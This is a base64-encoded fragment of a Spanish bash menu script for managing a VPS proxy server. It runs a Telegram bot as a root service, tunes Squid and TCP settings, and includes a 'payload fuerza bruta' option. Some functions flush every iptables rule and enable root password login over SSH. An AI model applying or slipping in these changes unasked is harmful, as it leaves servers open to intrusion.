iNtc2cgLWJhcgojbXNnIC10aXQKZWNobyAiIgplY2hvIC1lICJcZVsxOzkwbeKVlOKUgOKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKWkeKYheKWkeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgOKVlyAgICAgICAgICAgICAgICBcZVswbSIKbXNnIC1hbWEgIiDilpEgQURNSU5JU1RSQURPUiBCT1QgfCBURUxFR1JBTSAg4paRICAgICAgICAgICAgICAgICAgIFwwMzNbMTszMW0iCmVjaG8gLWUgIlxlWzE7OTBt4pWa4pSA4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4paR4piF4paR4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSB4pSA4pWdICAgICAgICAgICAgICAgIFxlWzBtIgphY3RpdmFyKCl7Cm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7OTZtICNEaWdpdGUgZWwgVG9rZW4gZGVsIEJPVFwwMzNbMDs5Mm1cblRPS0VOOiBcMDMzWzA7OTdtIiAmJiByZWFkIFRPS0VOCm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7OTZtICNEaWdpdGUgdW4gbm9tYnJlIHBhcmEgc3UgVXN1YXJpb1wwMzNbMDs5Mm0gXG5VU1VBUklPOiBcMDMzWzA7OTdtIiAmJiByZWFkIFVTRVJMSUIKbXNnIC1iYXIKZWNobyAtbmUgIlwwMzNbMTs5Nm0gI0RpZ2l0ZSB1bmEgY29udHJhc2XDsWEgcGFyYSBzdSBVc3VhcmlvXDAzM1swOzkybSBcbkNPTlRSQVNFw5FBOiBcMDMzWzA7OTdtIiAmJiByZWFkIFBBU1NMSUIKI21zZyAtYmFyCmVjaG8gLWUgIltVbml0XQpEZXNjcmlwdGlvbj1BRE1ib3Quc2ggU2VydmljZSBieSBAbGFjYXNpdGFteApBZnRlcj1uZXR3b3JrLnRhcmdldApTdGFydExpbWl0SW50ZXJ2YWxTZWM9MAoKW1NlcnZpY2VdClR5cGU9c2ltcGxlClVzZXI9cm9vdApXb3JraW5nRGlyZWN0b3J5PS9yb290CkV4ZWNTdGFydD0vYmluL2Jhc2ggL2V0Yy9WUFMtTVgvaGVycmFtaWVudGFzL0FETWJvdC5zaCBpZCAiJFRPS0VOIiAiJFVTRVJMSUIiICIkUEFTU0xJQiIKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz0zcwoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0IiA+IC9ldGMvc3lzdGVtZC9zeXN0ZW0vQm90Y2Euc2VydmljZQoKICAgIHN5c3RlbWN0bCBlbmFibGUgQm90Y2EgJj4vZGV2L251bGwKICAgIHN5c3RlbWN0bCBzdGFydCBCb3RjYSAmPi9kZXYvbnVsbAptc2cgLWJhcgplY2hvIC1lICJcMDMzWzE7OTJtICAgICAgICAgICAgICAgIEJPVCBJTklDSUFETyBDT04gRVhJVE8iCmVjaG8gLWUgIlwwMzNbMTs5N20gTU9ETyBERSBJTklDSU8gREVMIEJPVDogL0FETUlOICRVU0VSTElCICRQQVNTTElCIgptc2cgLWJhcgp9CgpraWxsYm90KCl7CglzeXN0ZW1jdGwgc3RvcCBCb3RjYSAmPi9kZXYvbnVsbAogICAgc3lzdGVtY3RsIGRpc2FibGUgQm90Y2EgICY+L2Rldi9udWxsCiAgICBybSAvZXRjL3N5c3RlbWQvc3lzdGVtL0JvdGNhLnNlcnZpY2UgJj4vZGV2L251bGwKICAgIG1zZyAtYmFyCiAgICBlY2hvIC1lICJcMDMzWzE7OTFtICAgICAgICAgICAgICAgIEJPVCBERVRFTklETyIKbXNnIC1iYXIKCn0KZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTFcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLXZlcmQgIiAgSU5JQ0lBUiBCT1QgTUFOQUdFUiAgICIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMlxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtdmVybTIgIiBERVRFTkVSIEJPVCBNQU5BR0VSICAgIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0wXGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1icmEgIiAgVk9MVkVSICAgIikiCm1zZyAtYmFyCmVjaG8gLW5lICIg4pa6XGVbMTszN20gU2VsZWNpb25lIFVuYSBPcGNpb246IFxlWzMzbSAiICYmIHJlYWQgc2VsZWN0CmNhc2UgJHNlbGVjdCBpbgowKW1lbnUzIDs7CjEpYWN0aXZhciAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7OwoyKWtpbGxib3QgJiYgbXNnIC1uZSAiRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKbWVudTMgOzsKZXNhYwp9CgpleHRyYSgpewpjbGVhcgpjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKb249IlwwMzNbMTszMm1bT05dIiAmJiBvZmY9IlwwMzNbMTszMW1bT0ZGXSIKW1sgYGdyZXAgLWMgIl4jQURNIiAvZXRjL3N5c2N0bC5jb25mYCAtZXEgMCBdXSAmJiB0Y3A9JG9mZiB8fCB0Y3A9JG9uCmlmIFsgLWUgL2V0Yy9zcXVpZC9zcXVpZC5jb25mIF07IHRoZW4KW1sgYGdyZXAgLWMgIl4jQ0FDSEVfRE9fU1FVSUQiIC9ldGMvc3F1aWQvc3F1aWQuY29uZmAgLWd0IDAgXV0gJiYgc3F1aT0kb2ZmIHx8IHNxdWk9JG9uCmVsaWYgWyAtZSAvZXRjL3NxdWlkMy9zcXVpZC5jb25mIF07IHRoZW4KW1sgYGdyZXAgLWMgIl4jQ0FDSEVfRE9fU1FVSUQiIC9ldGMvc3F1aWQzL3NxdWlkLmNvbmZgIC1ndCAwIF1dICYmIHNxdWk9JG9mZiB8fCBzcXVpPSRvbgpmaQplY2hvIC1lICIJCVxlWzkxbVxlWzQzbUhFUlJBTUlFTlRBUyBCQVNJQ09TXGVbMG0iCm1zZyAtYmFyCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0xXGVbOTNtXSQobXNnIC12ZXJtMiAiIOKemyAiKSQobXNnIC1henUgIkFDVFVBTElaQVIgSE9SQSBMT0NBTCIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMlxlWzkzbV0kKG1zZyAtdmVybTIgIiDinpsgIikkKG1zZyAtYXp1ICJIVE9QIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0zXGVbOTNtXSQobXNnIC12ZXJtMiAiIOKemyAiKSQobXNnIC1henUgIk1PRElGSUNBUiBQVUVSVE9TIEFDVElWT1MiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTRcZVs5M21dJChtc2cgLXZlcm0yICIg4p6bICIpJChtc2cgLWF6dSAiUEFZTE9BRCBGVUVSWkEgQlJVVEEiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTVcZVs5M21dJChtc2cgLXZlcm0yICIg4p6bICIpJChtc2cgLWF6dSAiVENQIFNQRUVEIikgJHRjcCIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTZcZVs5M21dJChtc2cgLXZlcm0yICIg4p6bICIpJChtc2cgLWF6dSAiQ0FDSMOJIFBBUkEgU1FVSUQiKSAkc3F1aSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTdcZVs5M21dJChtc2cgLXZlcm0yICIg4p6bICIpJChtc2cgLWF6dSAiTElNUElBUiBQQVFVRVRFUyBPQlNPTEVUT1MiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybThcZVs5M21dJChtc2cgLXZlcm0yICIg4p6bICIpJChtc2cgLWF6dSAiUkVTRVQgSVBUQUJMRVMiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTlcZVs5M21dJChtc2cgLXZlcm0yICIg4p6bICIpJChtc2cgLWF6dSAiUkVJTklDSUFSIFZQUyIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMTBcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJDQU1CSUFSIEhPU1ROQU1FIFZQUyIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMTFcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJDQU1CSUFSIENPTlRSQVNFw5FBIFJPT1QiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTEyXGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiQUdSRUdBUiBST09UIGEgR29vZ2xlQ2xvdWQgeSBBbWF6b24iKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTEzXGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiQVVURU5USUZJQ0FSIFNRVUlEIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0wXGVbOTNtXSQobXNnIC12ZXJtMiAiIOKemyAiKSQobXNnIC1henUgIlZPTFZFUiIpIgptc2cgLWJhcgplY2hvIC1uZSAiIOKWulxlWzE7MzdtIFNlbGVjaW9uZSBVbmEgT3BjaW9uOiBcZVszM20gIiAmJiByZWFkIHNlbGVjdApjYXNlICRzZWxlY3QgaW4KMCltZW51MyA7OwoxKWhvcmFzIDs7CjIpbW9uaHRvcCA7OwozKSR7U0NQZnJtfS9wb3J0cy5zaCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7Owo0KSR7U0NQZnJtfS9wYXlzbmQuc2ggOzsKNSlUQ1BzcGVlZCA7Owo2KVNxdWlkQ0FDSEUgOzsKNylwYWNrb2JzIDs7CjgpcmVzZXRpcHRhYmxlcyA7Owo5KXJlaW5pY2lhcl92cHMgOzsKMTApaG9zdF9uYW1lIDs7CjExKWNhbWJpb3Bhc3MgOzsKMTIpcm9vdHBhc3MgOzsKMTMpJHtTQ1Bmcm19L3NxdWlkcGFzcy5zaCA7OwoqKSA7Owplc2FjCn0KCnJlaW5pY2lhcl92cHMgKCkgewplY2hvIC1uZSAiIFwwMzNbMTszMW1bICEgXSBTdWRvIFJlYm9vdCIKc2xlZXAgM3MKZWNobyAtZSAiXDAzM1sxOzMybSBbT0tdIgooCnN1ZG8gcmVib290CikgPiAvZGV2L251bGwgMj4mMQptc2cgLWJhcgpyZXR1cm4KfQoKaG9zdF9uYW1lICgpIHsKdW5zZXQgbmFtZQp3aGlsZSBbWyAke25hbWV9ID0gIiIgXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtICQoZnVuX3RyYW5zICJOdWV2byBub21icmUgZGVsIGhvc3QiKTogIiAmJiByZWFkIG5hbWUKdHB1dCBjdXUxICYmIHRwdXQgZGwxCmRvbmUKaG9zdG5hbWVjdGwgc2V0LWhvc3RuYW1lICRuYW1lIAppZiBbICQoaG9zdG5hbWVjdGwgc3RhdHVzIHwgaGVhZCAtMSAgfCBhd2sgJ3twcmludCAkM30nKSA9ICIke25hbWV9IiBdOyB0aGVuIAplY2hvIC1lICJcMDMzWzE7MzNtICQoZnVuX3RyYW5zICJIb3N0IGFsdGVyYWRvIGNvcnJldGFtZW50ZSIpISwgJChmdW5fdHJhbnMgInJlaW5pY2lhciBWUFMiKSIKZWxzZQplY2hvIC1lICJcMDMzWzE7MzNtICQoZnVuX3RyYW5zICJIb3N0IG5vIG1vZGlmaWNhZG8iKSEiCmZpCm1zZyAtYmFyCnJldHVybgp9CgpjYW1iaW9wYXNzICgpIHsKZWNobyAtZSAiJHtjb3JbM119ICQoZnVuX3RyYW5zICJFc3RhIGhlcnJhbWllbnRhIGNhbWJpYSBsYSBjb250cmFzZcOxYSBkZSBzdSBzZXJ2aWRvciB2cHMiKSIKZWNobyAtZSAiJHtjb3JbM119ICQoZnVuX3RyYW5zICJFc3RhIGNvbnRyYXNlw7FhIGVzIHV0aWxpemFkYSBjb21vIHVzdWFyaW8iKSByb290Igptc2cgLWJhcgplY2hvIC1uZSAiICQoZnVuX3RyYW5zICJEZXNlYSBTZWd1aXI/IikgW1MvTl06ICI7IHJlYWQgeApbWyAkeCA9IEAobnxOKSBdXSAmJiBtc2cgLWJhciAmJiByZXR1cm4KbXNnIC1iYXIKI0luaWNpYSBQcm9jZWRpbWVudG9zCmVjaG8gLWUgIiR7Y29yWzBdfSAkKGZ1bl90cmFucyAiRXNjcmliYSBzdSBudWV2YSBjb250cmFzZcOxYSIpIgptc2cgLWJhcgpyZWFkICAtcCAiIE51ZXZvIHBhc3N3ZDogIiBwYXNzCihlY2hvICRwYXNzOyBlY2hvICRwYXNzKXxwYXNzd2QgMj4vZGV2L251bGwKc2xlZXAgMXMKbXNnIC1iYXIKZWNobyAtZSAiJHtjb3JbM119ICQoZnVuX3RyYW5zICJDb250cmFzZcOxYSBjYW1iaWFkYSBjb24gZXhpdG8hIikiCmVjaG8gLWUgIiR7Y29yWzJdfSAkKGZ1bl90cmFucyAiU3UgY29udHJhc2XDsWEgYWhvcmEgZXMiKTogJHtjb3JbNF19JHBhc3MiCm1zZyAtYmFyCnJldHVybgp9CmRuc25ldGZsaXggKCkgewojYnkga2FsaXgxCmVjaG8gIm5hbWVzZXJ2ZXIgJGRuczEiID4+IC9ldGMvcmVzb2x2LmNvbmYKI2VjaG8gIm5hbWVzZXJ2ZXIgJGRuczIiID4+IC9ldGMvcmVzb2x2LmNvbmYKL2V0Yy9pbml0LmQvc3NybXUgc3RvcCAmPi9kZXYvbnVsbAovZXRjL2luaXQuZC9zc3JtdSBzdGFydCAmPi9kZXYvbnVsbAovZXRjL2luaXQuZC9zaGFkb3dzb2Nrcy1yIHN0b3AgJj4vZGV2L251bGwKL2V0Yy9pbml0LmQvc2hhZG93c29ja3MtciBzdGFydCAmPi9kZXYvbnVsbAptc2cgLWJhcjIKZWNobyAtZSAiJHtjb3JbNF19ICBETlMgQUdSRUdBRE9TIENPTiBFWElUTyIKfQpuZXQoKXsKI2J5IGthbGl4MQpjbGVhcgojbXNnIC1iYXIyCm1zZyAtdGl0CmVjaG8gLWUgIlwwMzNbMTs5M20gICAgIEFHUkVHQURPUiBERSBETlMgUEVSU09OQUxFUyIKbXNnIC1iYXIyCmVjaG8gLWUgIlwwMzNbMTszOW0gRXN0YSBmdW5jaW9uIGFyYSBxdWUgcHVlZGFzIHZlciBOZXRmbGl4IGNvbiB0dSBWUFMiCm1zZyAtYmFyMgojZWNobyAtZSAiXDAzM1sxOzkxbSDCoSBTb2xvIHNlcmFuIHV0aWxlcyBzaSByZWdpc3RyYXN0ZSB0dSBJUCBlbiBlbCBCT1QgISIKZWNobyAtZSAiXDAzM1sxOzM5bSBFbiBBUFBTIGNvbW8gSFRUUCBJbnllY3RvcixLUE4gUmV2LEFQS0NVU1RPTSwgZXRjLiIKZWNobyAtZSAiXDAzM1sxOzM5bSBTZSBkZXZlcmFuIGFncmVnYXIgZW4gbGEgYXBsaWNhc2lvbiBhIHVzYXIgZXN0b3MgRE5TLiIKZWNobyAtZSAiXDAzM1sxOzM5bSBFbiBBUFBTIGNvbW8gU1MsU1NSLFYyUkFZIG5vIGVzIG5lY2VzYXJpbyBhZ3JlZ2FybG9zLiIKbXNnIC1iYXIyCmVjaG8gLWUgIlwwMzNbMTs5M20gUmVjdWVyZGUgZXNjb2plciBlbnRyZSAxIEROUyB5YSBzZWEgZWwgZGUgVVNBLEJSLE1YLENMIFxuIHNlZ3VuIGxlIGF5YSBlbnRyZWdhZG8gZWwgQk9ULiIKZWNobyAiIgplY2hvIC1lICJcMDMzWzE7OTdtIEluZ3Jlc2Ugc3UgRE5TIFByaW1hcmlvOiBcMDMzWzA7OTFtIjsgcmVhZCAtcCAiIFByaW1hcnkgRG5zOiAiICBkbnMxCmVjaG8gLWUgIlwwMzNbMTs5N20gSW5ncmVzZSBzdSBETlMgU2VjdW5kYXJpbzogXDAzM1swOzkxbSI7IHJlYWQgLXAgIiBTZWNvbmRhcnkgRG5zOiAiICBkbnMyCmVjaG8gIiIKbXNnIC1iYXIyCnJlYWQgLXAgIiBFc3RhcyBzZWd1cm8gZGUgY29udGludWFyPyAgWyBzIHwgbiBdOiAiIGRuc25ldGZsaXggICAKW1sgIiRkbnNuZXRmbGl4IiA9ICJzIiB8fCAiJGRuc25ldGZsaXgiID0gIlMiIF1dICYmIGRuc25ldGZsaXgKbXNnIC1iYXIyCn0Kcm9vdHBhc3MgKCkgewpjbGVhcgptc2cgLWJhcgplY2hvIC1lICIke2NvclszXX0gIEVzdGEgaGVycmFtaWVudGEgY2FtYmlhIGEgdXN1YXJpbyByb290IGxhcyBWUFMgZGUgIgplY2hvIC1lICIke2NvclszXX0gICAgICAgICAgICAgR29vZ2xlQ2xvdWQgeSBBbWF6b24iCm1zZyAtYmFyCmVjaG8gLW5lICIgRGVzZWEgU2VndWlyPyBbUy9OXTogIjsgcmVhZCB4CltbICR4ID0gQChufE4pIF1dICYmIG1zZyAtYmFyICYmIHJldHVybgptc2cgLWJhcgojSW5pY2lhIFByb2NlZGltZW50b3MKZWNobyAtZSAiICAgICAgICAgICAgICAgICBBcGxpY2FuZG8gQ29uZmlndXJhY2lvbmVzIgpmdW5fYmFyICJzZXJ2aWNlIHNzaCByZXN0YXJ0IgojUGFyYW1ldHJvcyBBcGxpY2Fkb3MKc2VkIC1pICJzO1Blcm1pdFJvb3RMb2dpbiBwcm9oaWJpdC1wYXNzd29yZDtQZXJtaXRSb290TG9naW4geWVzO2ciIC9ldGMvc3NoL3NzaGRfY29uZmlnCnNlZCAtaSAicztQZXJtaXRSb290TG9naW4gd2l0aG91dC1wYXNzd29yZDtQZXJtaXRSb290TG9naW4geWVzO2ciIC9ldGMvc3NoL3NzaGRfY29uZmlnCnNlZCAtaSAicztQYXNzd29yZEF1dGhlbnRpY2F0aW9uIG5vO1Bhc3N3b3JkQXV0aGVudGljYXRpb24geWVzO2ciIC9ldGMvc3NoL3NzaGRfY29uZmlnCm1zZyAtYmFyCmVjaG8gLWUgIkVzY3JpYmEgc3UgY29udHJhc2XDsWEgcm9vdCBhY3R1YWwgbyBjYW1iaWVsYSIKbXNnIC1iYXIKcmVhZCAgLXAgIiBOdWV2byBwYXNzd2Q6ICIgcGFzcwooZWNobyAkcGFzczsgZWNobyAkcGFzcyl8cGFzc3dkIDI+L2Rldi9udWxsCnNsZWVwIDFzCm1zZyAtYmFyCmVjaG8gLWUgIiR7Y29yWzNdfSBDb25maWd1cmFjaW9uZXMgYXBsaWNhZGFzIGNvbiBleGl0byEiCmVjaG8gLWUgIiR7Y29yWzJdfSBTdSBjb250cmFzZcOxYSBhaG9yYSBlczogJHtjb3JbNF19JHBhc3MiCnNlcnZpY2Ugc3NoIHJlc3RhcnQgPiAvZGV2L251bGwgMj4mMQptc2cgLWJhcgpyZXR1cm4KfQoKcmVzZXRpcHRhYmxlcyAoKSB7CmVjaG8gLWUgIlJlaW5pY2lhbmRvIElwZXRhYmxlcyBlc3BlcmUiCmlwdGFibGVzIC1GICYmIGlwdGFibGVzIC1YICYmIGlwdGFibGVzIC10IG5hdCAtRiAmJiBpcHRhYmxlcyAtdCBuYXQgLVggJiYgaXB0YWJsZXMgLXQgbWFuZ2xlIC1GICYmIGlwdGFibGVzIC10IG1hbmdsZSAtWCAmJiBpcHRhYmxlcyAtdCByYXcgLUYgJiYgaXB0YWJsZXMgLXQgcmF3IC1YICYmIGlwdGFibGVzIC10IHNlY3VyaXR5IC1GICYmIGlwdGFibGVzIC10IHNlY3VyaXR5IC1YICYmIGlwdGFibGVzIC1QIElOUFVUIEFDQ0VQVCAmJiBpcHRhYmxlcyAtUCBGT1JXQVJEIEFDQ0VQVCAmJiBpcHRhYmxlcyAtUCBPVVRQVVQgQUNDRVBUCmVjaG8gLWUgImlwdGFibGVzIHJlaW5pY2lhZGFzIGNvbiBleGl0byIKfQpwYWNrb2JzICgpIHsKbXNnIC1hbWEgIkJ1c2NhbmRvIFBhcXVldGVzIE9ic29sZXRvcyIKZHBrZyAtbCB8IGdyZXAgLWkgXnJjCm1zZyAtYW1hICJMaW1waWFuZG8gUGFxdWV0ZXMgT2Jzb2xvdGVvcyIKZHBrZyAtbCB8Z3JlcCAtaSBecmMgfCBjdXQgLWQgIiAiIC1mIDMgfCB4YXJncyBkcGtnIC0tcHVyZ2UKbXNnIC1hbWEgIkxpbXBpZXphIENvbXBsZXRhIgp9CgpUQ1BzcGVlZCAoKSB7CmlmIFtbIGBncmVwIC1jICJeI0FETSIgL2V0Yy9zeXNjdGwuY29uZmAgLWVxIDAgXV07IHRoZW4KI0lOU1RBTEEKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJUQ1AgU3BlZWQgTm8gQWN0aXZhZG8sIERlc2VhIEFjdGl2YXIgQWhvcmEiKT8iCm1zZyAtYmFyCndoaWxlIFtbICR7cmVzcG9zdGF9ICE9IEAoc3xTfG58Tnx5fFkpIF1dOyBkbwpyZWFkIC1wICIgW1MvTl06ICIgLWUgLWkgcyByZXNwb3N0YQp0cHV0IGN1dTEgJiYgdHB1dCBkbDEKZG9uZQpbWyAiJHJlc3Bvc3RhIiA9IEAoc3xTfHl8WSkgXV0gJiYgewplY2hvICIjQURNIiA+PiAvZXRjL3N5c2N0bC5jb25mCmVjaG8gIm5ldC5pcHY0LnRjcF93aW5kb3dfc2NhbGluZyA9IDEKbmV0LmNvcmUucm1lbV9tYXggPSAxNjc3NzIxNgpuZXQuY29yZS53bWVtX21heCA9IDE2Nzc3MjE2Cm5ldC5pcHY0LnRjcF9ybWVtID0gNDA5NiA4NzM4MCAxNjc3NzIxNgpuZXQuaXB2NC50Y3Bfd21lbSA9IDQwOTYgMTYzODQgMTY3NzcyMTYKbmV0LmlwdjQudGNwX2xvd19sYXRlbmN5ID0gMQpuZXQuaXB2NC50Y3Bfc2xvd19zdGFydF9hZnRlcl9pZGxlID0gMCIgPj4gL2V0Yy9zeXNjdGwuY29uZgpzeXNjdGwgLXAgL2V0Yy9zeXNjdGwuY29uZiA+IC9kZXYvbnVsbCAyPiYxCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiVENQIEFjdGl2byBDb24gRXhpdG8iKSEiCn0gfHwgbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJDYW5jZWxhZG8iKSEiCiBlbHNlCiNSRU1PVkUKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJUQ1AgU3BlZWQgeWEgZXN0YSBhY3RpdmFkbywgZGVzZWEgZGV0ZW5lciBhaG9yYSIpPyIKbXNnIC1iYXIKd2hpbGUgW1sgJHtyZXNwb3N0YX0gIT0gQChzfFN8bnxOfHl8WSkgXV07IGRvCnJlYWQgLXAgIiBbUy9OXTogIiAtZSAtaSBzIHJlc3Bvc3RhCnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lCltbICIkcmVzcG9zdGEiID0gQChzfFN8eXxZKSBdXSAmJiB7CmdyZXAgLXYgIl4jQURNCm5ldC5pcHY0LnRjcF93aW5kb3dfc2NhbGluZyA9IDEKbmV0LmNvcmUucm1lbV9tYXggPSAxNjc3NzIxNgpuZXQuY29yZS53bWVtX21heCA9IDE2Nzc3MjE2Cm5ldC5pcHY0LnRjcF9ybWVtID0gNDA5NiA4NzM4MCAxNjc3NzIxNgpuZXQuaXB2NC50Y3Bfd21lbSA9IDQwOTYgMTYzODQgMTY3NzcyMTYKbmV0LmlwdjQudGNwX2xvd19sYXRlbmN5ID0gMQpuZXQuaXB2NC50Y3Bfc2xvd19zdGFydF9hZnRlcl9pZGxlID0gMCIgL2V0Yy9zeXNjdGwuY29uZiA+IC90bXAvc3lzY2wgJiYgbXYgLWYgL3RtcC9zeXNjbCAvZXRjL3N5c2N0bC5jb25mCnN5c2N0bCAtcCAvZXRjL3N5c2N0bC5jb25mID4gL2Rldi9udWxsIDI+JjEKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJUQ1AgUGFyYWRvIENvbiBFeGl0byIpISIKfSB8fCBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIkNhbmNlbGFkbyIpISIKZmkKfQpTcXVpZENBQ0hFICgpIHsKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJTcXVpZCBDYWNoZSwgQXBsaWNhIGNhY2hlIGVuIFNxdWlkIikiCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiTWVqb3JhIGxhIHZlbG9jaWRhZCBkZWwgc3F1aWQiKSIKbXNnIC1iYXIKaWYgWyAtZSAvZXRjL3NxdWlkL3NxdWlkLmNvbmYgXTsgdGhlbgpzcXVpZF92YXI9Ii9ldGMvc3F1aWQvc3F1aWQuY29uZiIKZWxpZiBbIC1lIC9ldGMvc3F1aWQzL3NxdWlkLmNvbmYgXTsgdGhlbgpzcXVpZF92YXI9Ii9ldGMvc3F1aWQzL3NxdWlkLmNvbmYiCmVsc2UKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJTdSBzaXN0ZW1hIG5vIHRpZW5lIHVuIHNxdWlkIikhIiAmJiByZXR1cm4gMQpmaQp0ZXN0ZV9jYWNoZT0iI0NBQ0hFX0RPX1NRVUlEIgppZiBbWyBgZ3JlcCAtYyAiXiR0ZXN0ZV9jYWNoZSIgJHNxdWlkX3ZhcmAgLWd0IDAgXV07IHRoZW4KICBbWyAtZSAke3NxdWlkX3Zhcn0uYmFrayBdXSAmJiB7CiAgbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJDYWNoZSBzcXVpZCBpZGVudGlmaWNhZG8sIGVsaW1pbmFuZG8iKSEiCiAgbXYgLWYgJHtzcXVpZF92YXJ9LmJha2sgJHNxdWlkX3ZhcgogIG1zZyAtYW1hICIkKGZ1bl90cmFucyAiQ2FjaGUgc3F1aWQgUmVtb3ZpZG8iKSEiCiAgc2VydmljZSBzcXVpZCByZXN0YXJ0ID4gL2Rldi9udWxsIDI+JjEgJgogIHNlcnZpY2Ugc3F1aWQzIHJlc3RhcnQgPiAvZGV2L251bGwgMj4mMSAmCiAgcmV0dXJuIDAKICB9CmZpCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiQXBsaWNhbmRvIENhY2hlIFNxdWlkIikhIgptc2cgLWJhcgpfdG1wPSIjQ0FDSEVfRE9fU1FVSURcbmNhY2hlX21lbSAyMDAgTUJcbm1heGltdW1fb2JqZWN0X3NpemVfaW5fbWVtb3J5IDMyIEtCXG5tYXhpbXVtX29iamVjdF9zaXplIDEwMjQgTUJcbm1pbmltdW1fb2JqZWN0X3NpemUgMCBLQlxuY2FjaGVfc3dhcF9sb3cgOTBcbmNhY2hlX3N3YXBfaGlnaCA5NSIKW1sgIiRzcXVpZF92YXIiID0gIi9ldGMvc3F1aWQvc3F1aWQuY29uZiIgXV0gJiYgX3RtcCs9IlxuY2FjaGVfZGlyIHVmcyAvdmFyL3Nwb29sL3NxdWlkIDEwMCAxNiAyNTZcbmFjY2Vzc19sb2cgL3Zhci9sb2cvc3F1aWQvYWNjZXNzLmxvZyBzcXVpZCIgfHwgX3RtcCs9IlxuY2FjaGVfZGlyIHVmcyAvdmFyL3Nwb29sL3NxdWlkMyAxMDAgMTYgMjU2XG5hY2Nlc3NfbG9nIC92YXIvbG9nL3NxdWlkMy9hY2Nlc3MubG9nIHNxdWlkIgp3aGlsZSByZWFkIHNfc3F1aWQ7IGRvCltbICIkc19zcXVpZCIgIT0gImNhY2hlIGRlbnkgYWxsIiBdXSAmJiBfdG1wKz0iXG4ke3Nfc3F1aWR9Igpkb25lIDwgJHNxdWlkX3ZhcgpjcCAke3NxdWlkX3Zhcn0gJHtzcXVpZF92YXJ9LmJha2sKZWNobyAtZSAiJHtfdG1wfSIgPiAkc3F1aWRfdmFyCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiQ2FjaGUgQXBsaWNhZG8gY29uIEV4aXRvIikhIgpzZXJ2aWNlIHNxdWlkIHJlc3RhcnQgPiAvZGV2L251bGwgMj4mMSAmCnNlcnZpY2Ugc3F1aWQzIHJlc3RhcnQgPiAvZGV2L251bGwgMj4mMSAmCn0KCgpvcmFjbCgpewpjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKbXNnIC12ZXJtICIJCUZJUkVXQUxMRCIKbXNnIC1hbWEgIiBFU1RBIEhFUlJBTUlFTlRBIEVTIFBBUkEgTEFTIFZQUyBPUkFDTEUvQVdTL0FaUiIKbXNnIC1hbWEgIiBUQU1CSUVOIFBBUkEgT1RSQVMgVlBTIFFVRSBTT04gTkVDRVNBUklPIEEgVVRJTElaQVIgRVNUQSBPUENJT04iCmVjaG8gLW5lICIgRGVzZWEgQ29udGludWFyPyBbUy9OXTogIjsgcmVhZCB4CltbICR4ID0gQChufE4pIF1dICYmIG1zZyAtYmFyICYmIHJldHVybgptc2cgLWJhcgpzdWRvIGFwdCB1cGRhdGUgLXkgJj4vZGV2L251bGwKc3VkbyBhcHQgaW5zdGFsbCBmaXJld2FsbGQgLXkgJj4vZGV2L251bGwKc3VkbyBhcHQgaW5zdGFsbCBhcGFjaGUyICY+L2Rldi9udWxsCiNzdWRvIGZpcmV3YWxsLWNtZCAtLXBlcm1hbmVudCAtLWFkZC1zZXJ2aWNlPXtodHRwLGh0dHBzfSAtLXBlcm1hbmVudApzdWRvIGZpcmV3YWxsLWNtZCAtLXpvbmU9cHVibGljIC0